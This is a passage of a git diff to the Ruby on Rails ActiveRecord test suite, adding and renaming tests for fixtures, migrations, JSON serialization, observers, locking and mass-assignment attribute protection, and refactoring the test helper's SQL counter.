true @@ -45,6 +46,21 @@ class FixturesTest < ActiveRecord::TestCase end end + def test_broken_yaml_exception + badyaml = Tempfile.new ['foo', '.yml'] + badyaml.write 'a: : ' + badyaml.flush + + dir = File.dirname badyaml.path + name = File.basename badyaml.path, '.yml' + assert_raises(ActiveRecord::Fixture::FormatError) do + ActiveRecord::Fixtures.create_fixtures(dir, name) + end + ensure + badyaml.close + badyaml.unlink + end + def test_create_fixtures ActiveRecord::Fixtures.create_fixtures(FIXTURES_ROOT, "parrots") assert Parrot.find_by_name('Curious George'), 'George is in the database' @@ -174,21 +190,13 @@ class FixturesTest < ActiveRecord::TestCase end end - def test_empty_csv_fixtures - assert_deprecated do - assert_not_nil ActiveRecord::Fixtures.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/csv/accounts") - end - end - def test_omap_fixtures assert_nothing_raised do fixtures = ActiveRecord::Fixtures.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered") - i = 0 - fixtures.each do |name, fixture| + fixtures.each.with_index do |(name, fixture), i| assert_equal "fixture_no_#{i}", name assert_equal "Category #{i}", fixture['name'] - i += 1 end end end @@ -443,14 +451,36 @@ end class CustomConnectionFixturesTest < ActiveRecord::TestCase set_fixture_class :courses => Course fixtures :courses - # Set to false to blow away fixtures cache and ensure our fixtures are loaded - # and thus takes into account our set_fixture_class self.use_transactional_fixtures = false def test_connection assert_kind_of Course, courses(:ruby) assert_equal Course.connection, courses(:ruby).connection end + + def test_leaky_destroy + assert_nothing_raised { courses(:ruby) } + courses(:ruby).destroy + end + + def test_it_twice_in_whatever_order_to_check_for_fixture_leakage + test_leaky_destroy + end +end + +class TransactionalFixturesOnCustomConnectionTest < ActiveRecord::TestCase + set_fixture_class :courses => Course + fixtures :courses + self.use_transactional_fixtures = true + + def test_leaky_destroy + assert_nothing_raised { courses(:ruby) } + courses(:ruby).destroy + end + + def test_it_twice_in_whatever_order_to_check_for_fixture_leakage + test_leaky_destroy + end end class InvalidTableNameFixturesTest < ActiveRecord::TestCase @@ -488,7 +518,9 @@ class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase end class FixturesBrokenRollbackTest < ActiveRecord::TestCase - def blank_setup; end + def blank_setup + @fixture_connections = [ActiveRecord::Base.connection] + end alias_method :ar_setup_fixtures, :setup_fixtures alias_method :setup_fixtures, :blank_setup alias_method :setup, :blank_setup diff --git a/activerecord/test/cases/habtm_destroy_order_test.rb b/activerecord/test/cases/habtm_destroy_order_test.rb index f2b91d977e..2ce0de360e 100644 --- a/activerecord/test/cases/habtm_destroy_order_test.rb +++ b/activerecord/test/cases/habtm_destroy_order_test.rb @@ -16,6 +16,16 @@ class HabtmDestroyOrderTest < ActiveRecord::TestCase assert !sicp.destroyed? end + test 'should not raise error if have foreign key in the join table' do + student = Student.new(:name => "Ben Bitdiddle") + lesson = Lesson.new(:name => "SICP") + lesson.students << student + lesson.save! + assert_nothing_raised do + student.destroy + end + end + test "not destroying a student with lessons leaves student<=>lesson association intact" do # test a normal before_destroy doesn't destroy the habtm joins begin diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb index fbb4ee6f7b..6735bc521b 100644 --- a/activerecord/test/cases/helper.rb +++ b/activerecord/test/cases/helper.rb @@ -1,8 +1,5 @@ require File.expand_path('../../../../load_paths', __FILE__) -lib = File.expand_path("#{File.dirname(__FILE__)}/../../lib") -$:.unshift(lib) unless $:.include?('lib') || $:.include?(lib) - require 'config' require 'test/unit' @@ -11,24 +8,24 @@ require 'mocha' require 'active_record' require 'active_support/dependencies' -begin - require 'connection' -rescue LoadError - # If we cannot load connection we assume that driver was not loaded for this test case, so we load sqlite3 as default one. - # This allows for running separate test cases by simply running test file. - connection_type = defined?(JRUBY_VERSION) ? 'jdbc' : 'native' - require "test/connections/#{connection_type}_sqlite3/connection" -end + +require 'support/config' +require 'support/connection' + +# TODO: Move all these random hacks into the ARTest namespace and into the support/ dir # Show backtraces for deprecated behavior for quicker cleanup. ActiveSupport::Deprecation.debug = true +# Enable Identity Map only when ENV['IM'] is set to "true" +ActiveRecord::IdentityMap.enabled = (ENV['IM'] == "true") + +# Connect to the database +ARTest.connect + # Quote "type" if it's a reserved word for the current connection. QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type') -# Enable Identity Map for testing -ActiveRecord::IdentityMap.enabled = (ENV['IM'] == "false" ? false : true) - def current_adapter?(*types) types.any? do |type| ActiveRecord::ConnectionAdapters.const_defined?(type) && @@ -61,15 +58,15 @@ end module ActiveRecord class SQLCounter - IGNORED_SQL = [/^PRAGMA (?!(table_info))/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/] + cattr_accessor :ignored_sql + self.ignored_sql = [/^PRAGMA (?!(table_info))/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /^SHOW max_identifier_length/, /^BEGIN/, /^COMMIT/] # FIXME: this needs to be refactored so specific database can add their own # ignored SQL. This ignored SQL is for Oracle. - IGNORED_SQL.concat [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im] + ignored_sql.concat [/^select .*nextval/i, /^SAVEPOINT/, /^ROLLBACK TO/, /^\s*select .* from all_triggers/im] - def initialize - $queries_executed = [] - end + cattr_accessor :log + self.log = [] def call(name, start, finish, message_id, values) sql = values[:sql] @@ -77,10 +74,11 @@ module ActiveRecord # FIXME: this seems bad. we should probably have a better way to indicate # the query was cached unless 'CACHE' == values[:name] - $queries_executed << sql unless IGNORED_SQL.any? { |r| sql =~ r } + self.class.log << sql unless self.class.ignored_sql.any? { |r| sql =~ r } end end end + ActiveSupport::Notifications.subscribe('sql.active_record', SQLCounter.new) end diff --git a/activerecord/test/cases/i18n_test.rb b/activerecord/test/cases/i18n_test.rb index 469f513e68..a428f1d87b 100644 --- a/activerecord/test/cases/i18n_test.rb +++ b/activerecord/test/cases/i18n_test.rb @@ -43,4 +43,3 @@ class ActiveRecordI18nTests < ActiveRecord::TestCase assert_equal 'topic model', Reply.model_name.human end end - diff --git a/activerecord/test/cases/identity_map_test.rb b/activerecord/test/cases/identity_map_test.rb index a0e16400d2..3efc8bf559 100644 --- a/activerecord/test/cases/identity_map_test.rb +++ b/activerecord/test/cases/identity_map_test.rb @@ -140,7 +140,7 @@ class IdentityMapTest < ActiveRecord::TestCase assert_not_same(p1, p2) end end - + def test_inherited_with_type_attribute_without_identity_map ActiveRecord::IdentityMap.without do c = comments(:sub_special_comment) @@ -164,7 +164,7 @@ class IdentityMapTest < ActiveRecord::TestCase end ############################################################################## - # Tests checking dirty attribute behaviour with IM # + # Tests checking dirty attribute behavior with IM # ############################################################################## def test_loading_new_instance_should_not_update_dirty_attributes @@ -238,7 +238,7 @@ class IdentityMapTest < ActiveRecord::TestCase end ############################################################################## - # Tests checking Identity Map behaviour with preloaded associations, joins, # + # Tests checking Identity Map behavior with preloaded associations, joins, # # includes etc. # ############################################################################## diff --git a/activerecord/test/cases/invalid_date_test.rb b/activerecord/test/cases/invalid_date_test.rb index 2de50b224c..98cda010ae 100644 --- a/activerecord/test/cases/invalid_date_test.rb +++ b/activerecord/test/cases/invalid_date_test.rb @@ -24,9 +24,9 @@ class InvalidDateTest < ActiveRecord::TestCase topic = Topic.new({"last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s}) # Oracle DATE columns are datetime columns and Oracle adapter returns Time value if current_adapter?(:OracleAdapter) - assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behaviour of the Time object") + assert_equal(topic.last_read.to_date, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object") else - assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behaviour of the Time object") + assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behavior of the Time object") end end end diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb index afec64750e..3ae7b63dff 100644 --- a/activerecord/test/cases/invertible_migration_test.rb +++ b/activerecord/test/cases/invertible_migration_test.rb @@ -27,6 +27,19 @@ module ActiveRecord end end + class LegacyMigration < ActiveRecord::Migration + def self.up + create_table("horses") do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end + + def self.down + drop_table("horses") + end + end + def teardown if ActiveRecord::Base.connection.table_exists?("horses") ActiveRecord::Base.connection.drop_table("horses") @@ -41,17 +54,39 @@ module ActiveRecord end end - def test_up + def test_migrate_up migration = InvertibleMigration.new migration.migrate(:up) assert migration.connection.table_exists?("horses"), "horses should exist" end - def test_down + def test_migrate_down migration = InvertibleMigration.new migration.migrate :up migration.migrate :down assert !migration.connection.table_exists?("horses") end + + def test_legacy_up + LegacyMigration.migrate :up + assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" + end + + def test_legacy_down + LegacyMigration.migrate :up + LegacyMigration.migrate :down + assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" + end + + def test_up + LegacyMigration.up + assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" + end + + def test_down + LegacyMigration.up + LegacyMigration.down + assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" + end end end diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb index 8664d63e8f..d9e350abc0 100644 --- a/activerecord/test/cases/json_serialization_test.rb +++ b/activerecord/test/cases/json_serialization_test.rb @@ -161,6 +161,15 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase assert_match %r{"tag":\{"name":"General"\}}, json end + def test_includes_doesnt_merge_opts_from_base + json = @david.to_json( + :only => :id, + :include => :posts + ) + + assert_match %{"title":"Welcome to the weblog"}, json + end + def test_should_not_call_methods_on_associations_that_dont_respond def @david.favorite_quote; "Constraints are liberating"; end json = @david.to_json(:include => :posts, :methods => :favorite_quote) diff --git a/activerecord/test/cases/lifecycle_test.rb b/activerecord/test/cases/lifecycle_test.rb index 643e949087..75e5dfa49b 100644 --- a/activerecord/test/cases/lifecycle_test.rb +++ b/activerecord/test/cases/lifecycle_test.rb @@ -231,6 +231,18 @@ class LifecycleTest < ActiveRecord::TestCase assert_not_nil observer.topic_ids.last end + test "able to disable observers" do + observer = DeveloperObserver.instance # activate + observer.calls.clear + + ActiveRecord::Base.observers.disable DeveloperObserver do + Developer.create! :name => 'Ancestor', :salary => 100000 + SpecialDeveloper.create! :name => 'Descendent', :salary => 100000 + end + + assert_equal [], observer.calls + end + def test_observer_is_called_once observer = DeveloperObserver.instance # activate observer.calls.clear diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb index 61baa55027..e9bd7f07b6 100644 --- a/activerecord/test/cases/locking_test.rb +++ b/activerecord/test/cases/locking_test.rb @@ -125,6 +125,24 @@ class OptimisticLockingTest < ActiveRecord::TestCase assert_raise(ActiveRecord::StaleObjectError) { p2.save! } end + def test_lock_exception_record + p1 = Person.new(:first_name => 'mira') + assert_equal 0, p1.lock_version + + p1.first_name = 'mira2' + p1.save! + p2 = Person.find(p1.id) + assert_equal 0, p1.lock_version + assert_equal 0, p2.lock_version + + p1.first_name = 'mira3' + p1.save! + + p2.first_name = 'sue' + error = assert_raise(ActiveRecord::StaleObjectError) { p2.save! } + assert_equal(error.record.object_id, p2.object_id) + end + def test_lock_new_with_nil p1 = Person.new(:first_name => 'anika') p1.save! @@ -141,7 +159,6 @@ class OptimisticLockingTest < ActiveRecord::TestCase assert_equal 1, p1.lock_version end - def test_lock_column_name_existing t1 = LegacyThing.find(1) t2 = LegacyThing.find(1) diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb index c6c6079490..9e8475465e 100644 --- a/activerecord/test/cases/log_subscriber_test.rb +++ b/activerecord/test/cases/log_subscriber_test.rb @@ -63,6 +63,14 @@ class LogSubscriberTest < ActiveRecord::TestCase assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last) end + def test_exists_query_logging + Developer.exists? 1 + wait + assert_equal 1, @logger.logged(:debug).size + assert_match(/Developer Exists/, @logger.logged(:debug).last) + assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last) + end + def test_cached_queries ActiveRecord::Base.cache do Developer.all diff --git a/activerecord/test/cases/mass_assignment_security_test.rb b/activerecord/test/cases/mass_assignment_security_test.rb index 765033852d..9fff50edcb 100644 --- a/activerecord/test/cases/mass_assignment_security_test.rb +++ b/activerecord/test/cases/mass_assignment_security_test.rb @@ -231,7 +231,9 @@ class MassAssignmentSecurityTest < ActiveRecord::TestCase def test_protection_against_class_attribute_writers [:logger, :configurations, :primary_key_prefix_type, :table_name_prefix, :table_name_suffix, :pluralize_table_names, - :default_timezone, :schema_format, :lock_optimistically, :record_timestamps].each do |method| + :default_timezone, :schema_format, :lock_optimistically, :timestamped_migrations, :default_scopes, + :connection_handler, :nested_attributes_options, :_attr_readonly, :attribute_types_cached_by_default, + :attribute_method_matchers, :time_zone_aware_attributes, :skip_time_zone_conversion_for_attributes].each do |method| assert_respond_to Task, method assert_respond_to Task, "#{method}=" assert_respond_to Task.new, method @@ -239,6 +241,54 @@ class MassAssignmentSecurityTest < ActiveRecord::TestCase end end + def test_find_or_initialize_by_with_attr_accessible_attributes + p = TightPerson.find_or_initialize_by_first_name('Josh', attributes_hash) + + assert_default_attributes(p) + end + + def test_find_or_initialize_by_with_admin_role_with_attr_accessible_attributes + p = TightPerson.find_or_initialize_by_first_name('Josh', attributes_hash, :as => :admin) + + assert_admin_attributes(p) + end + + def test_find_or_initialize_by_with_attr_protected_attributes + p = LoosePerson.find_or_initialize_by_first_name('Josh', attributes_hash) + + assert_default_attributes(p) + end + + def test_find_or_initialize_by_with_admin_role_with_attr_protected_attributes + p = LoosePerson.find_or_initialize_by_first_name('Josh', attributes_hash, :as => :admin) + + assert_admin_attributes(p) + end + + def test_find_or_create_by_with_attr_accessible_attributes + p = TightPerson.find_or_create_by_first_name('Josh', attributes_hash) + + assert_default_attributes(p, true) + end + + def test_find_or_create_by_with_admin_role_with_attr_accessible_attributes + p = TightPerson.find_or_create_by_first_name('Josh', attributes_hash, :as => :admin) + + assert_admin_attributes(p, true) + end + + def test_find_or_create_by_with_attr_protected_attributes + p = LoosePerson.find_or_create_by_first_name('Josh', attributes_hash) + + assert_default_attributes(p, true) + end + + def test_find_or_create_by_with_admin_role_with_attr_protected_attributes + p = LoosePerson.find_or_create_by_first_name('Josh', attributes_hash, :as => :admin) + + assert_admin_attributes(p, true) + end + end @@ -336,81 +386,81 @@ class MassAssignmentSecurityBelongsToRelationsTest < ActiveRecord::TestCase # build - def test_has_one_build_with_attr_protected_attributes + def test_belongs_to_build_with_attr_protected_attributes best_friend = @person.build_best_friend_of(attributes_hash) assert_default_attributes(best_friend) end - def test_has_one_build_with_attr_accessible_attributes + def test_belongs_to_build_with_attr_accessible_attributes best_friend = @person.build_best_friend_of(attributes_hash) assert_default_attributes(best_friend) end - def test_has_one_build_with_admin_role_with_attr_protected_attributes + def test_belongs_to_build_with_admin_role_with_attr_protected_attributes best_friend = @person.build_best_friend_of(attributes_hash, :as => :admin) assert_admin_attributes(best_friend) end - def test_has_one_build_with_admin_role_with_attr_accessible_attributes + def test_belongs_to_build_with_admin_role_with_attr_accessible_attributes best_friend = @person.build_best_friend_of(attributes_hash, :as => :admin) assert_admin_attributes(best_friend) end - def test_has_one_build_without_protection + def test_belongs_to_build_without_protection best_friend = @person.build_best_friend_of(attributes_hash, :without_protection => true) assert_all_attributes(best_friend) end # create - def test_has_one_create_with_attr_protected_attributes + def test_belongs_to_create_with_attr_protected_attributes best_friend = @person.create_best_friend_of(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_attr_accessible_attributes + def test_belongs_to_create_with_attr_accessible_attributes best_friend = @person.create_best_friend_of(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_admin_role_with_attr_protected_attributes + def test_belongs_to_create_with_admin_role_with_attr_protected_attributes best_friend = @person.create_best_friend_of(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_with_admin_role_with_attr_accessible_attributes + def test_belongs_to_create_with_admin_role_with_attr_accessible_attributes best_friend = @person.create_best_friend_of(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_without_protection + def test_belongs_to_create_without_protection best_friend = @person.create_best_friend_of(attributes_hash, :without_protection => true) assert_all_attributes(best_friend) end # create! - def test_has_one_create_with_bang_with_attr_protected_attributes + def test_belongs_to_create_with_bang_with_attr_protected_attributes best_friend = @person.create_best_friend!(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_bang_with_attr_accessible_attributes + def test_belongs_to_create_with_bang_with_attr_accessible_attributes best_friend = @person.create_best_friend!(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_bang_with_admin_role_with_attr_protected_attributes + def test_belongs_to_create_with_bang_with_admin_role_with_attr_protected_attributes best_friend = @person.create_best_friend!(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_with_bang_with_admin_role_with_attr_accessible_attributes + def test_belongs_to_create_with_bang_with_admin_role_with_attr_accessible_attributes best_friend = @person.create_best_friend!(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_with_bang_without_protection + def test_belongs_to_create_with_bang_without_protection best_friend = @person.create_best_friend!(attributes_hash, :without_protection => true) assert_all_attributes(best_friend) end @@ -424,83 +474,328 @@ class MassAssignmentSecurityHasManyRelationsTest < ActiveRecord::TestCase # build - def test_has_one_build_with_attr_protected_attributes + def test_has_many_build_with_attr_protected_attributes best_friend = @person.best_friends.build(attributes_hash) assert_default_attributes(best_friend) end - def test_has_one_build_with_attr_accessible_attributes + def test_has_many_build_with_attr_accessible_attributes best_friend = @person.best_friends.build(attributes_hash) assert_default_attributes(best_friend) end - def test_has_one_build_with_admin_role_with_attr_protected_attributes + def test_has_many_build_with_admin_role_with_attr_protected_attributes best_friend = @person.best_friends.build(attributes_hash, :as => :admin) assert_admin_attributes(best_friend) end - def test_has_one_build_with_admin_role_with_attr_accessible_attributes + def test_has_many_build_with_admin_role_with_attr_accessible_attributes best_friend = @person.best_friends.build(attributes_hash, :as => :admin) assert_admin_attributes(best_friend) end - def test_has_one_build_without_protection + def test_has_many_build_without_protection best_friend = @person.best_friends.build(attributes_hash, :without_protection => true) assert_all_attributes(best_friend) end # create - def test_has_one_create_with_attr_protected_attributes + def test_has_many_create_with_attr_protected_attributes best_friend = @person.best_friends.create(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_attr_accessible_attributes + def test_has_many_create_with_attr_accessible_attributes best_friend = @person.best_friends.create(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_admin_role_with_attr_protected_attributes + def test_has_many_create_with_admin_role_with_attr_protected_attributes best_friend = @person.best_friends.create(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_with_admin_role_with_attr_accessible_attributes + def test_has_many_create_with_admin_role_with_attr_accessible_attributes best_friend = @person.best_friends.create(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_without_protection + def test_has_many_create_without_protection best_friend = @person.best_friends.create(attributes_hash, :without_protection => true) assert_all_attributes(best_friend) end # create! - def test_has_one_create_with_bang_with_attr_protected_attributes + def test_has_many_create_with_bang_with_attr_protected_attributes best_friend = @person.best_friends.create!(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_bang_with_attr_accessible_attributes + def test_has_many_create_with_bang_with_attr_accessible_attributes best_friend = @person.best_friends.create!(attributes_hash) assert_default_attributes(best_friend, true) end - def test_has_one_create_with_bang_with_admin_role_with_attr_protected_attributes + def test_has_many_create_with_bang_with_admin_role_with_attr_protected_attributes best_friend = @person.best_friends.create!(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_with_bang_with_admin_role_with_attr_accessible_attributes + def test_has_many_create_with_bang_with_admin_role_with_attr_accessible_attributes best_friend = @person.best_friends.create!(attributes_hash, :as => :admin) assert_admin_attributes(best_friend, true) end - def test_has_one_create_with_bang_without_protection + def test_has_many_create_with_bang_without_protection best_friend = @person.best_friends.create!(attributes_hash, :without_protection => true) assert_all_attributes(best_friend) end end + + +class MassAssignmentSecurityNestedAttributesTest < ActiveRecord::TestCase + include MassAssignmentTestHelpers + + def nested_attributes_hash(association, collection = false, except = [:id]) + if collection + { :first_name => 'David' }.merge(:"#{association}_attributes" => [attributes_hash.except(*except)]) + else + { :first_name => 'David' }.merge(:"#{association}_attributes" => attributes_hash.except(*except)) + end + end + + # build + + def test_has_one_new_with_attr_protected_attributes + person = LoosePerson.new(nested_attributes_hash(:best_friend)) + assert_default_attributes(person.best_friend) + end + + def test_has_one_new_with_attr_accessible_attributes + person = TightPerson.new(nested_attributes_hash(:best_friend)) + assert_default_attributes(person.best_friend) + end + + def test_has_one_new_with_admin_role_with_attr_protected_attributes + person = LoosePerson.new(nested_attributes_hash(:best_friend), :as => :admin) + assert_admin_attributes(person.best_friend) + end + + def test_has_one_new_with_admin_role_with_attr_accessible_attributes + person = TightPerson.new(nested_attributes_hash(:best_friend), :as => :admin) + assert_admin_attributes(person.best_friend) + end + + def test_has_one_new_without_protection + person = LoosePerson.new(nested_attributes_hash(:best_friend, false, nil), :without_protection => true) + assert_all_attributes(person.best_friend) + end + + def test_belongs_to_new_with_attr_protected_attributes + person = LoosePerson.new(nested_attributes_hash(:best_friend_of)) + assert_default_attributes(person.best_friend_of) + end + + def test_belongs_to_new_with_attr_accessible_attributes + person = TightPerson.new(nested_attributes_hash(:best_friend_of)) + assert_default_attributes(person.best_friend_of) + end + + def test_belongs_to_new_with_admin_role_with_attr_protected_attributes + person = LoosePerson.new(nested_attributes_hash(:best_friend_of), :as => :admin) + assert_admin_attributes(person.best_friend_of) + end + + def test_belongs_to_new_with_admin_role_with_attr_accessible_attributes + person = TightPerson.new(nested_attributes_hash(:best_friend_of), :as => :admin) + assert_admin_attributes(person.best_friend_of) + end + + def test_belongs_to_new_without_protection + person = LoosePerson.new(nested_attributes_hash(:best_friend_of, false, nil), :without_protection => true) + assert_all_attributes(person.best_friend_of) + end + + def test_has_many_new_with_attr_protected_attributes + person = LoosePerson.new(nested_attributes_hash(:best_friends, true)) + assert_default_attributes(person.best_friends.first) + end + + def test_has_many_new_with_attr_accessible_attributes + person = TightPerson.new(nested_attributes_hash(:best_friends, true)) + assert_default_attributes(person.best_friends.first) + end + + def test_has_many_new_with_admin_role_with_attr_protected_attributes + person = LoosePerson.new(nested_attributes_hash(:best_friends, true), :as => :admin) + assert_admin_attributes(person.best_friends.first) + end + + def test_has_many_new_with_admin_role_with_attr_accessible_attributes + person = TightPerson.new(nested_attributes_hash(:best_friends, true), :as => :admin) + assert_admin_attributes(person.best_friends.first) + end + + def test_has_many_new_without_protection + person = LoosePerson.new(nested_attributes_hash(:best_friends, true, nil), :without_protection => true) + assert_all_attributes(person.best_friends.first) + end + + # create + + def test_has_one_create_with_attr_protected_attributes + person = LoosePerson.create(nested_attributes_hash(:best_friend)) + assert_default_attributes(person.best_friend, true) + end + + def test_has_one_create_with_attr_accessible_attributes + person = TightPerson.create(nested_attributes_hash(:best_friend)) + assert_default_attributes(person.best_friend, true) + end + + def test_has_one_create_with_admin_role_with_attr_protected_attributes + person = LoosePerson.create(nested_attributes_hash(:best_friend), :as => :admin) + assert_admin_attributes(person.best_friend, true) + end + + def test_has_one_create_with_admin_role_with_attr_accessible_attributes + person = TightPerson.create(nested_attributes_hash(:best_friend), :as => :admin) + assert_admin_attributes(person.best_friend, true) + end + + def test_has_one_create_without_protection + person = LoosePerson.create(nested_attributes_hash(:best_friend, false, nil), :without_protection => true) + assert_all_attributes(person.best_friend) + end + + def test_belongs_to_create_with_attr_protected_attributes + person = LoosePerson.create(nested_attributes_hash(:best_friend_of)) + assert_default_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_attr_accessible_attributes + person = TightPerson.create(nested_attributes_hash(:best_friend_of)) + assert_default_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_admin_role_with_attr_protected_attributes + person = LoosePerson.create(nested_attributes_hash(:best_friend_of), :as => :admin) + assert_admin_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_admin_role_with_attr_accessible_attributes + person = TightPerson.create(nested_attributes_hash(:best_friend_of), :as => :admin) + assert_admin_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_without_protection + person = LoosePerson.create(nested_attributes_hash(:best_friend_of, false, nil), :without_protection => true) + assert_all_attributes(person.best_friend_of) + end + + def test_has_many_create_with_attr_protected_attributes + person = LoosePerson.create(nested_attributes_hash(:best_friends, true)) + assert_default_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_attr_accessible_attributes + person = TightPerson.create(nested_attributes_hash(:best_friends, true)) + assert_default_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_admin_role_with_attr_protected_attributes + person = LoosePerson.create(nested_attributes_hash(:best_friends, true), :as => :admin) + assert_admin_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_admin_role_with_attr_accessible_attributes + person = TightPerson.create(nested_attributes_hash(:best_friends, true), :as => :admin) + assert_admin_attributes(person.best_friends.first, true) + end + + def test_has_many_create_without_protection + person = LoosePerson.create(nested_attributes_hash(:best_friends, true, nil), :without_protection => true) + assert_all_attributes(person.best_friends.first) + end + + # create! + + def test_has_one_create_with_bang_with_attr_protected_attributes + person = LoosePerson.create!(nested_attributes_hash(:best_friend)) + assert_default_attributes(person.best_friend, true) + end + + def test_has_one_create_with_bang_with_attr_accessible_attributes + person = TightPerson.create!(nested_attributes_hash(:best_friend)) + assert_default_attributes(person.best_friend, true) + end + + def test_has_one_create_with_bang_with_admin_role_with_attr_protected_attributes + person = LoosePerson.create!(nested_attributes_hash(:best_friend), :as => :admin) + assert_admin_attributes(person.best_friend, true) + end + + def test_has_one_create_with_bang_with_admin_role_with_attr_accessible_attributes + person = TightPerson.create!(nested_attributes_hash(:best_friend), :as => :admin) + assert_admin_attributes(person.best_friend, true) + end + + def test_has_one_create_with_bang_without_protection + person = LoosePerson.create!(nested_attributes_hash(:best_friend, false, nil), :without_protection => true) + assert_all_attributes(person.best_friend) + end + + def test_belongs_to_create_with_bang_with_attr_protected_attributes + person = LoosePerson.create!(nested_attributes_hash(:best_friend_of)) + assert_default_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_bang_with_attr_accessible_attributes + person = TightPerson.create!(nested_attributes_hash(:best_friend_of)) + assert_default_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_bang_with_admin_role_with_attr_protected_attributes + person = LoosePerson.create!(nested_attributes_hash(:best_friend_of), :as => :admin) + assert_admin_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_bang_with_admin_role_with_attr_accessible_attributes + person = TightPerson.create!(nested_attributes_hash(:best_friend_of), :as => :admin) + assert_admin_attributes(person.best_friend_of, true) + end + + def test_belongs_to_create_with_bang_without_protection + person = LoosePerson.create!(nested_attributes_hash(:best_friend_of, false, nil), :without_protection => true) + assert_all_attributes(person.best_friend_of) + end + + def test_has_many_create_with_bang_with_attr_protected_attributes + person = LoosePerson.create!(nested_attributes_hash(:best_friends, true)) + assert_default_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_bang_with_attr_accessible_attributes + person = TightPerson.create!(nested_attributes_hash(:best_friends, true)) + assert_default_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_bang_with_admin_role_with_attr_protected_attributes + person = LoosePerson.create!(nested_attributes_hash(:best_friends, true), :as => :admin) + assert_admin_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_bang_with_admin_role_with_attr_accessible_attributes + person = TightPerson.create!(nested_attributes_hash(:best_friends, true), :as => :admin) + assert_admin_attributes(person.best_friends.first, true) + end + + def test_has_many_create_with_bang_without_protection + person = LoosePerson.create!(nested_attributes_hash(:best_friends, true, nil), :without_protection => true) + assert_all_attributes(person.best_friends.first) + end + +end diff --git a/activerecord/test/cases/method_scoping_test.rb b/activerecord/test/cases/method_scoping_test.rb index a0cb5dbdc5..0ab4f30363 100644 --- a/activerecord/test/cases/method_scoping_test.rb +++ b/activerecord/test/cases/method_scoping_test.rb @@ -14,7 +14,7 @@ class MethodScopingTest < ActiveRecord::TestCase def test_set_conditions Developer.send(:with_scope, :find => { :conditions => 'just a test...' }) do - assert_match '(just a test...)', Developer.scoped.arel.to_sql + assert_match '(just a test...)', Developer.scoped.to_sql end end @@ -274,7 +274,7 @@ class NestedScopingTest < ActiveRecord::TestCase Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do Developer.send(:with_scope, :find => { :limit => 10 }) do devs = Developer.scoped - assert_match '(salary = 80000)', devs.arel.to_sql + assert_match '(salary = 80000)', devs.to_sql assert_equal 10, devs.taken end end @@ -308,7 +308,7 @@ class NestedScopingTest < ActiveRecord::TestCase Developer.send(:with_scope, :find => { :conditions => "name = 'David'" }) do Developer.send(:with_scope, :find => { :conditions => 'salary = 80000' }) do devs = Developer.scoped - assert_match "(name = 'David') AND (salary = 80000)", devs.arel.to_sql + assert_match "(name = 'David') AND (salary = 80000)", devs.to_sql assert_equal(1, Developer.count) end 